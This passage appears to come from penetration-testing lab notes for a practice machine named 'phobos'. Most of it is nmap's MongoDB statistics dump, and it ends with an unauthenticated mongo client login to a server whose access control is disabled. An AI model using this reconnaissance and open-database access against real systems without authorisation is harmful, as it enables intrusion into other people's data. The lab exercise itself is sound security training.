|         pages selected for eviction unable to be evicted because of failure in reconciliation = 0
|         eviction worker thread evicting pages = 28
|         tracked dirty pages in the cache = 2
|         internal pages queued for eviction = 0
|         eviction worker thread created = 0
|         tracked bytes belonging to leaf pages in the cache = 58724
|         tracked bytes belonging to internal pages in the cache = 6204
|         eviction server waiting for a leaf page = 5
|         percentage overhead = 8
|         pages selected for eviction unable to be evicted as the parent page has overflow items = 0
|         eviction walk target pages histogram - 128 and higher = 0
|         pages walked for eviction = 0
|         unmodified pages evicted = 0
|         operations timed out waiting for space in cache = 0
|         pages written requiring in-memory restoration = 0
|         pages queued for urgent eviction during walk = 0
|         forced eviction - pages evicted that were dirty time (usecs) = 0
|         eviction walk target pages histogram - 64-128 = 0
|         eviction server candidate queue not empty when topping up = 0
|         bytes belonging to the history store table in the cache = 554
|         pages seen by eviction walk that are already queued = 0
|         bytes written from cache = 6208246
|         pages seen by eviction walk = 0
|         bytes currently in the cache = 64928
|         history store table out-of-order resolved updates that lose their durable timestamp = 0
|         eviction walk target pages histogram - 32-63 = 0
|         pages requested from the cache = 10148
|         eviction calls to get a page = 132
|         eviction walks gave up because they saw too many pages and found no candidates = 0
|         history store table writes requiring squashed modifies = 0
|         modified pages evicted = 28
|         eviction walk target strategy both clean and dirty pages = 0
|         forced eviction - pages selected count = 0
|         eviction worker thread active = 4
|         forced eviction - history store pages successfully evicted while session has history store cursor open = 0
|         pages selected for eviction unable to be evicted = 0
|         pages queued for urgent eviction = 28
|         forced eviction - pages evicted that were clean time (usecs) = 0
|         application threads page read from disk to cache count = 7
|         eviction walks abandoned = 0
|         hazard pointer maximum array length = 0
|         history store table max on-disk size = 0
|         pages queued for eviction = 0
|         eviction walks reached end of tree = 0
|         forced eviction - pages selected because of too many deleted items count = 1
|         bytes dirty in the cache cumulative = 15093149
|         bytes read into cache = 26460
|         eviction server evicting pages = 0
|         pages evicted by application threads = 0
|         forced eviction - pages selected unable to be evicted count = 0
|         history store table reads missed = 0
|         pages read into cache = 17
|         forced eviction - pages selected unable to be evicted time = 0
|         page written requiring history store records = 0
|         history store score = 0
|         eviction walk target pages histogram - 0-9 = 0
|         eviction currently operating in aggressive mode = 0
|         modified pages evicted by application threads = 0
|         page split during eviction deepened the tree = 0
|         forced eviction - pages evicted that were dirty count = 0
|         checkpoint blocked page eviction = 0
|         pages selected for eviction unable to be evicted because of active children on an internal page = 0
|         history store table truncation by rollback to stable to remove an update = 0
|         force re-tuning of eviction workers once in a while = 0
|         pages read into cache after truncate = 29
|         bytes belonging to page images in the cache = 28576
|         history store table truncation to remove range of updates due to key being removed from the data page during reconciliation = 0
|         maximum bytes configured = 268435456
|         leaf pages split during eviction = 0
|         eviction server candidate queue empty when topping up = 0
|         hazard pointer check entries walked = 0
|         internal pages split during eviction = 0
|         internal pages seen by eviction walk that are already queued = 0
|         forced eviction - history store pages failed to evict while session has history store cursor open = 0
|         application threads page write from cache to disk time (usecs) = 89031
|         history store table out-of-order updates that were fixed up by moving existing records = 0
|         eviction server unable to reach eviction goal = 0
|         forced eviction - session returned rollback error while force evicting due to being oldest = 0
|         tracked dirty bytes in the cache = 847
|         internal pages evicted = 0
|         bytes allocated for updates = 29320
|         files with new eviction walks started = 0
|         in-memory page splits = 0
|         eviction walk target pages histogram - 10-31 = 0
|         hazard pointer blocked page eviction = 0
|         history store table truncation to remove an update = 0
|         application threads page read from disk to cache time (usecs) = 17613
|         forced eviction - history store pages selected while session has history store cursor open = 0
|         eviction calls to get a page found queue empty = 104
|         history store table truncation to remove range of updates due to non timestamped update on data page = 0
|         maximum page size at eviction = 352
|         eviction walks restarted = 0
|         eviction walk target strategy only clean pages = 0
|         in-memory page passed criteria to be split = 0
|         history store table truncation by rollback to stable to remove an unstable update = 0
|         history store table reads requiring squashed modifies = 0
|         history store table reads = 0
|         history store table out-of-order updates that were fixed up during insertion = 0
|         history store table insert calls = 0
|         overflow pages read into cache = 0
|         files with active eviction walks = 0
|         cache overflow score = 0
|         history store table on-disk size = 0
|         hazard pointer check calls = 28
|         pages written from cache = 802
|         bytes not belonging to page images in the cache = 36351
|         history store table insert calls that returned restart = 0
|         pages queued for eviction post lru sorting = 0
|         application threads page write from cache to disk count = 792
|         internal pages seen by eviction walk = 0
|         eviction passes of a file = 0
|         eviction walks gave up because they restarted their walk twice = 0
|         eviction walk target strategy only dirty pages = 0
|         eviction calls to get a page found queue empty after locking = 0
|         pages read into cache after truncate in prepare state = 0
|         eviction walks gave up because they saw too many pages and found too few candidates = 0
|         pages currently held in the cache = 22
|         eviction walks started from root of tree = 0
|         eviction worker thread stable number = 0
|         eviction worker thread removed = 0
|         eviction empty score = 0
|         eviction server slept, because we did not make progress with eviction = 407
|         pages evicted in parallel with checkpoint = 27
|       perf
|         file system read latency histogram (bucket 6) - 1000ms+ = 0
|         file system write latency histogram (bucket 2) - 50-99ms = 0
|         file system read latency histogram (bucket 5) - 500-999ms = 0
|         operation write latency histogram (bucket 4) - 1000-9999us = 0
|         file system write latency histogram (bucket 4) - 250-499ms = 0
|         file system write latency histogram (bucket 5) - 500-999ms = 0
|         operation write latency histogram (bucket 1) - 100-249us = 0
|         file system write latency histogram (bucket 6) - 1000ms+ = 0
|         file system read latency histogram (bucket 4) - 250-499ms = 0
|         operation read latency histogram (bucket 1) - 100-249us = 0
|         operation read latency histogram (bucket 3) - 500-999us = 0
|         file system read latency histogram (bucket 3) - 100-249ms = 0
|         file system read latency histogram (bucket 1) - 10-49ms = 1
|         operation read latency histogram (bucket 5) - 10000us+ = 0
|         operation read latency histogram (bucket 4) - 1000-9999us = 0
|         file system read latency histogram (bucket 2) - 50-99ms = 0
|         operation write latency histogram (bucket 2) - 250-499us = 0
|         file system write latency histogram (bucket 1) - 10-49ms = 1
|         operation read latency histogram (bucket 2) - 250-499us = 1
|         file system write latency histogram (bucket 3) - 100-249ms = 0
|         operation write latency histogram (bucket 3) - 500-999us = 1
|         operation write latency histogram (bucket 5) - 10000us+ = 0
|       lock
|         durable timestamp queue lock internal thread time waiting (usecs) = 0
|         read timestamp queue read lock acquisitions = 0
|         dhandle lock internal thread time waiting (usecs) = 0
|         read timestamp queue lock internal thread time waiting (usecs) = 0
|         txn global lock internal thread time waiting (usecs) = 0
|         dhandle write lock acquisitions = 1446
|         table write lock acquisitions = 12
|         checkpoint lock acquisitions = 366
|         txn global write lock acquisitions = 786
|         metadata lock internal thread wait time (usecs) = 0
|         txn global read lock acquisitions = 565
|         txn global lock application thread time waiting (usecs) = 0
|         schema lock application thread wait time (usecs) = 0
|         durable timestamp queue read lock acquisitions = 0
|         read timestamp queue write lock acquisitions = 0
|         dhandle lock application thread time waiting (usecs) = 0
|         dhandle read lock acquisitions = 90245
|         checkpoint lock application thread wait time (usecs) = 0
|         metadata lock application thread wait time (usecs) = 0
|         table read lock acquisitions = 0
|         schema lock acquisitions = 385
|         durable timestamp queue write lock acquisitions = 0
|         schema lock internal thread wait time (usecs) = 0
|         read timestamp queue lock application thread time waiting (usecs) = 0
|         table lock internal thread time waiting for the table lock (usecs) = 0
|         checkpoint lock internal thread wait time (usecs) = 0
|         durable timestamp queue lock application thread time waiting (usecs) = 0
|         metadata lock acquisitions = 366
|         table lock application thread time waiting for the table lock (usecs) = 0
|       data-handle
|         session sweep attempts = 410
|         connection sweep time-of-death sets = 3706
|         connection sweep candidate became referenced = 0
|         connection sweeps = 2186
|         connection data handles currently active = 24
|         connection sweep dhandles removed from hash list = 711
|         session dhandles swept = 651
|         connection data handle size = 432
|         connection sweep dhandles closed = 0
|       connection
|         auto adjusting condition wait raced to update timeout and skipped updating = 0
|         memory frees = 709149
|         memory re-allocations = 88020
|         total read I/Os = 2060
|         total fsync I/Os = 2258
|         pthread mutex condition wait calls = 356982
|         pthread mutex shared lock write-lock calls = 25570
|         hash bucket array size general = 512
|         files currently open = 16
|         detected system time went backwards = 0
|         memory allocations = 710100
|         pthread mutex shared lock read-lock calls = 555429
|         auto adjusting condition wait calls = 135805
|         auto adjusting condition resets = 1662
|         total write I/Os = 2454
|         hash bucket array size for data handles = 512
|       concurrentTransactions
|         write
|           totalTickets = 128
|           available = 128
|           out = 0
|         read
|           totalTickets = 128
|           available = 127
|           out = 1
|       snapshot-window-settings
|         cache pressure percentage threshold = 95
|         current cache pressure percentage = 0
|         latest majority snapshot timestamp available = Jan  1 00:00:00:0
|         total number of SnapshotTooOld errors = 0
|         current available snapshots window size in seconds = 0
|         max target available snapshots window size in seconds = 5
|         oldest majority snapshot timestamp available = Jan  1 00:00:00:0
|         target available snapshots window size in seconds = 5
|       log
|         records processed by log scan = 15
|         force archive time sleeping (usecs) = 0
|         log records compressed = 366
|         log bytes of payload data = 441050
|         log scan records requiring two reads = 0
|         slot join calls slept = 0
|         slot close unbuffered waits = 0
|         slot transitions unable to find free slot = 0
|         slot closures = 440
|         logging bytes consolidated = 567168
|         log sync operations = 440
|         log force write operations skipped = 242297
|         log bytes written = 567680
|         maximum log file size = 104857600
|         slot join found active slot closed = 0
|         total in-memory size of compressed records = 806566
|         log records too small to compress = 1479
|         log sync_dir time duration (usecs) = 833
|         log sync time duration (usecs) = 3759228
|         log write operations = 1851
|         pre-allocated log files prepared = 2
|         slot close lost race = 0
|         log server thread advances write LSN = 73
|         busy returns attempting to switch slots = 0
|         yields waiting for previous log file close = 0
|         log server thread write LSN walk skipped = 22495
|         written slots coalesced = 0
|         total size of compressed records = 364860
|         log sync_dir operations = 1
|         total log buffer size = 33554432
|         slot join calls found active slot closed = 0
|         slot joins yield time (usecs) = 0
|         slot join calls yielded = 0
|         slot unbuffered writes = 0
|         slot join calls did not yield = 1851
|         slot join calls atomic updates raced = 0
|         log records not compressed = 6
|         log flush operations = 218679
|         log files manually zero-filled = 0
|         log scan operations = 6
|         log force write operations = 242370
|         pre-allocated log files used = 0
|         number of pre-allocated log files to create = 2
|         slot join atomic update races = 0
|         pre-allocated log files not ready and missed = 1
|         log release advances write LSN = 367
|       oplog
|         visibility timestamp = Timestamp(0, 0)
|       block-manager
|         bytes read via system call API = 0
|         blocks pre-loaded = 9
|         blocks written = 1644
|         number of times the region was remapped via write = 0
|         bytes read = 1781760
|         number of times the file was remapped because it changed size via fallocate or truncate = 0
|         bytes written for checkpoint = 12730368
|         bytes written via memory map API = 0
|         mapped bytes read = 0
|         mapped blocks read = 0
|         bytes written = 12730368
|         bytes read via memory map API = 0
|         blocks read = 431
|         bytes written via system call API = 0
|       reconciliation
|         pages written including an aggregated prepare = 0
|         records written including a start timestamp = 0
|         split bytes currently awaiting free = 0
|         page reconciliation calls that resulted in values with transaction ids = 353
|         records written including a stop transaction ID = 0
|         pages written including at least one stop transaction ID = 0
|         pages written including at least one stop durable timestamp = 0
|         maximum seconds spent in a reconciliation call = 0
|         page reconciliation calls that resulted in values with timestamps = 0
|         pages written including at least one stop timestamp = 0
|         split objects currently awaiting free = 0
|         fast-path pages deleted = 0
|         pages written including an aggregated newest transaction ID  = 0
|         page reconciliation calls for eviction = 28
|         records written including a start transaction ID = 1038
|         pages written including an aggregated newest stop timestamp  = 0
|         pages written including an aggregated oldest start timestamp  = 0
|         records written including a stop durable timestamp = 0
|         pages written including an aggregated newest stop durable timestamp  = 0
|         records written including a prepare state = 0
|         approximate byte size of transaction IDs in pages written = 8304
|         pages written including at least one start durable timestamp = 0
|         pages deleted = 87
|         pages written including an aggregated newest stop transaction ID = 0
|         approximate byte size of timestamps in pages written = 0
|         records written including a stop timestamp = 0
|         pages written including at least one prepare state = 0
|         pages written including at least one start timestamp = 0
|         pages written including an aggregated newest start durable timestamp  = 0
|         pages written including at least one start transaction ID = 353
|         page reconciliation calls that resulted in values with prepared transaction metadata = 0
|         page reconciliation calls = 889
|         records written including a start durable timestamp = 0
|       transaction
|         transaction fsync duration for checkpoint after allocating the transaction ID (usecs) = 1065
|         read timestamp queue inserts total = 0
|         transaction checkpoint prepare total time (msecs) = 0
|         rollback to stable keys restored = 0
|         query timestamp calls = 21872
|         durable timestamp queue insert to empty = 0
|         Number of prepared updates = 0
|         rollback to stable hs records with stop timestamps older than newer records = 0
|         transaction checkpoints = 366
|         update conflicts = 0
|         set timestamp oldest calls = 0
|         transaction range of timestamps currently pinned = 0
|         transactions committed = 21
|         prepared transactions = 0
|         rollback to stable updates removed from history store = 0
|         set timestamp calls = 0
|         transaction checkpoint scrub time (msecs) = 0
|         prepared transactions rolled back = 0
|         transaction checkpoint most recent duration for gathering all handles (usecs) = 113
|         race to read prepared update retry = 0
|         transaction checkpoint currently running = 0
|         rollback to stable updates aborted = 0
|         transaction checkpoints skipped because database was clean = 0
|         transaction checkpoint most recent handles applied = 2
|         transaction range of IDs currently pinned by a checkpoint = 0
|         transaction checkpoint most recent duration for gathering applied handles (usecs) = 73
|         prepared transactions currently active = 0
|         read timestamp queue length = 0
|         rollback to stable calls = 0
|         transaction range of timestamps pinned by a checkpoint = 0
|         rollback to stable pages visited = 1
|         rollback to stable keys removed = 0
|         transaction checkpoint history store file duration (usecs) = 52
|         transaction checkpoint most recent duration for gathering skipped handles (usecs) = 21
|         transaction begins = 947
|         read timestamp queue insert to empty = 0
|         set timestamp stable calls = 0
|         set timestamp oldest updates = 0
|         transaction checkpoint max time (msecs) = 119
|         rollback to stable restored tombstones from history store = 0
|         transactions rolled back = 926
|         transaction checkpoint most recent handles skipped = 10
|         durable timestamp queue entries walked = 0
|         transaction sync calls = 0
|         transaction read timestamp of the oldest active reader = 0
|         transaction checkpoint prepare most recent time (msecs) = 0
|         transaction range of timestamps pinned by the oldest timestamp = 0
|         transaction range of timestamps pinned by the oldest active read timestamp = 0
|         prepared transactions committed = 0
|         transaction checkpoint total time (msecs) = 4785
|         transaction checkpoint prepare min time (msecs) = 0
|         rollback to stable tree walk skipping pages = 0
|         read timestamp queue entries walked = 0
|         transaction checkpoint prepare max time (msecs) = 0
|         transaction failures due to history store = 0
|         rollback to stable sweeping history store keys = 0
|         durable timestamp queue inserts to head = 0
|         durable timestamp queue inserts total = 0
|         set timestamp durable calls = 0
|         transaction range of IDs currently pinned = 0
|         transaction checkpoint min time (msecs) = 3
|         read timestamp queue inserts to head = 0
|         set timestamp stable updates = 0
|         transaction checkpoint generation = 367
|         transaction checkpoint most recent handles walked = 25
|         set timestamp durable updates = 0
|         transaction checkpoint most recent time (msecs) = 7
|         transaction checkpoint scrub dirty target = 0
|         transaction fsync calls for checkpoint after allocating the transaction ID = 366
|         transaction checkpoint prepare currently running = 0
|         durable timestamp queue length = 0
|       capacity
|         bytes written for eviction = 0
|         background fsync time (msecs) = 0
|         background fsync file handles synced = 0
|         time waiting during checkpoint (usecs) = 0
|         bytes read = 86016
|         time waiting during read (usecs) = 0
|         bytes written for checkpoint = 6180740
|         time waiting during logging (usecs) = 0
|         time waiting during eviction (usecs) = 0
|         bytes written for log = 1258820480.0
|         time waiting due to total capacity (usecs) = 0
|         bytes written total = 1265001220.0
|         threshold to call fsync = 0
|         background fsync file handles considered = 0
|       thread-state
|         active filesystem write calls = 0
|         active filesystem read calls = 0
|_        active filesystem fsync calls = 0
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.51 seconds

mongo client


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/phobos]
└─$ mongo mongodb://172.17.0.2:27017/
MongoDB shell version v7.0.14
connecting to: mongodb://172.17.0.2:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("dde26176-a212-411a-91c0-c1034930a8cc") }
MongoDB server version: 4.4.3
WARNING: shell and server versions do not match
================
Warning: the "mongo" shell has been superseded by "mongosh",
which delivers improved usability and compatibility.The "mongo" shell has been deprecated and will be removed in
an upcoming release.
For installation instructions, see
https://docs.mongodb.com/mongodb-shell/install/
================
---
The server generated these startup warnings when booting: 
        2024-08-03T00:16:58.022+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
        2024-08-03T00:16:58.518+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
> 

Session established